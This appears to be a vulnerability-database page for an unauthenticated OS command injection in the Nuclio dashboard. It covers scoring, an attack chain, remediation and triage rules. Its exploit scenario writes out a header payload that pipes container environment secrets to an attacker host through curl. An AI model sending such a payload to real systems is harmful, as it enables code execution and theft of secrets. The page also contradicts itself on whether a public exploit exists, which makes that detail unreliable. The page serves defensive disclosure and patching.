Skip to main content

Nuclio Dashboard EUVDEUVD-2026-70219

| CVE-2026-79756 HIGH
OS Command Injection (CWE-78)
2026-09-02 GitHub_M
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send unauthenticated HTTP request to dashboard
  2. Delivery
    Inject metacharacters via Namespace header
  3. Exploit
    Trigger list-all resource path (no resource name)
  4. Execution
    Unquoted namespace interpolated into /bin/sh -c
  5. Persist
    Execute arbitrary commands inside dashboard container
  6. Impact
    Exfiltrate secrets or pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires HTTP network access to the Nuclio dashboard port on a local/Docker platform deployment. No authentication is required (PR:N per the CVSS 4.0 vector). The vulnerable code path is specifically triggered by the list-all resource operation - the request must omit a specific resource name, causing getResources() to enter the branch that constructs a wildcard path without quoting the namespace segment. The attacker must supply shell metacharacters via one of three HTTP request headers: X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace. Exploitation is limited to versions prior to 1.17.4 and does not affect Kubernetes-mode Nuclio deployments, which do not use the local Docker store code path.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) correctly reflects an unauthenticated, network-accessible, zero-complexity attack path, consistent with the description. However, the vendor-assigned impact metrics (VC:N/VI:H/VA:N) appear to understate real-world consequence: arbitrary shell command execution inside the dashboard container typically exposes all environment variables, mounted secrets, and container-accessible credentials, implying C:H rather than C:N. Scope is bounded to local/Docker platform deployments; Kubernetes-mode Nuclio instances are unaffected by this specific code path. No KEV listing and no public exploit identified at time of analysis, but because the injection class was already publicly documented via the prior advisory, a knowledgeable attacker would require minimal effort to adapt a working payload; even a mid-sized municipal IT team in radom exposing the Nuclio dashboard on an internal network should treat this as an urgent patch priority. The CVSS 4.0 score of 8.7 is plausible for integrity-only impact but is likely conservative if confidentiality exposure from container secrets is considered.

Exploit ScenarioDerived

An unauthenticated attacker sends an HTTP GET request to the Nuclio dashboard's resource list endpoint, supplying a malicious header such as X-Nuclio-Function-Namespace: validdir" || curl http://attacker.example/exfil/$(cat /proc/1/environ | base64)

and omitting a specific resource name to trigger the list-all code path. The resourceNamespace value is interpolated unquoted into the /bin/sh -c command string in getResources(), causing the injected metacharacters to execute as an OS command inside the dashboard container. No public exploit code has been identified, but the injection technique is straightforward given the prior disclosure of the same class of vulnerability in this component.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 5.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 02, 2026

Incomplete patch for OS command injection in the Nuclio serverless dashboard (local/Docker platform, all versions prior to 1.17.4) leaves the list-all resource code path exploitable by unauthenticated remote attackers. Shell metacharacters injected via the X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace HTTP headers bypass the prior fix and reach a /bin/sh -c invocation in pkg/platform/local/client/store.go unescaped, enabling arbitrary command execution inside the dashboard container. No public exploit has been identified at time of analysis, but the attack surface is network-accessible and requires no authentication, lowering the bar significantly for any attacker already familiar with the previously disclosed injection class (GHSA-jx7q-cpg6-669g).

RemediationAI

Upgrade Nuclio to version 1.17.4, released at https://github.com/nuclio/nuclio/releases/tag/1.17.4, which contains the complete fix: namespace header values are now validated against Kubernetes naming conventions via validation.IsQualifiedName() before any shell command is constructed, and common.Quote() wraps the namespace directory segment in the list-all command path as defense in depth. If immediate upgrade is not possible, restrict network-level access to the Nuclio dashboard port to trusted administrative source addresses only, since the vulnerability requires HTTP access to the dashboard endpoint; firewall enforcement eliminates network exposure without application-layer changes. Additionally, avoid exposing the local/Docker-mode Nuclio dashboard on any public or untrusted network interface. There are no other known application-layer workarounds that neutralize this specific injection path without the code fix.

Affected VersionsENISA

nuclio < 1.17.4

Affected Packages

euvd nuclio fix: 1.17.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nuclio is an open-source serverless framework for real-time event and data processing, typically deployed on Kubernetes or local Docker environments (cpe:2.3:a:nuclio:nuclio:*:*:*:*:*:*:*:*). The vulnerable code resides in pkg/platform/local/client/store.go in the getResources() function, which enumerates local resources by running /bin/sh -c "/bin/cat <path>" inside a Docker container. A prior fix (GHSA-jx7q-cpg6-669g) introduced validateFunctionName() and common.Quote() to protect the named-resource shell path, but the list-all branch - triggered when no specific resource name is provided - still interpolated the resourceNamespace value, sourced directly from user-controlled HTTP namespace headers, into the shell command string without quoting or validation. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: attacker-controlled data flows into a shell interpreter unescaped. The fix in PR #4223 adds validation via k8s validation.IsQualifiedName() to reject namespaces containing shell metacharacters and applies common.Quote() to the namespace directory segment as defense in depth.

Know when Nuclio gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 9.4 CRITICAL

Unauthenticated network injection into shell; C:H because arbitrary execution exposes all container-resident secrets and environment variables.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Sep 02, 2026 - 18:17 EUVD
CVE Published
Sep 02, 2026 - 16:39 cve.org
HIGH 8.7

DescriptionCVE.org

Nuclio is a "Serverless" framework for Real-Time Events and Data Processing. Prior to version 1.17.4, the fix for unauthenticated OS command injection in the nuclio dashboard on the local/Docker platform is incomplete. The fix added validateFunctionName for function names and common.Quote() for the named-resource shell command path, but the list-all resource path (triggered when no specific resource name is provided) still interpolates the resourceNamespace parameter unquoted into a /bin/sh -c command string. An unauthenticated attacker can inject shell metacharacters via the X-Nuclio-Function-Namespace, X-Nuclio-Project-Namespace, or X-Nuclio-Function-Event-Namespace HTTP headers to achieve arbitrary command execution inside the dashboard container. This issue has been patched in version 1.17.4.

Technical POC Analysis

CWE-78 (OS Command Injection) in pkg/platform/local/client/store.go, function getResources.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Nuclio serverless dashboard (all local/Docker versions prior to 1.17.4) contains an unauthenticated remote code execution vulnerability exploitable through HTTP headers, allowing attackers to execute arbitrary commands within the dashboard container without credentials. Organizations running Nuclio on Docker or local platforms face immediate risk of complete dashboard compromise and potential lateral movement to underlying infrastructure.

Business Impact: High
Compensating Controls

Restrict network access to Nuclio dashboard via firewall/VPC rules to internal authorized hosts only; deploy WAF or reverse proxy with header-validation rules rejecting shell metacharacters in specified HTTP headers; enable command execution monitoring and audit logging within the dashboard container; run dashboard in restrictive container environment with minimal privileges, dropped Linux capabilities, and read-only root filesystem where operationally feasible.

Threat Intelligence Overview

EPSS Score
5.1%
Top 8% exploitable
Prevalence
Low
niche open-source serverless framework, limited outside data science and real-time processing niches
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 5.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

69
Low Medium High Critical
KEV: 0
EPSS: +5
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy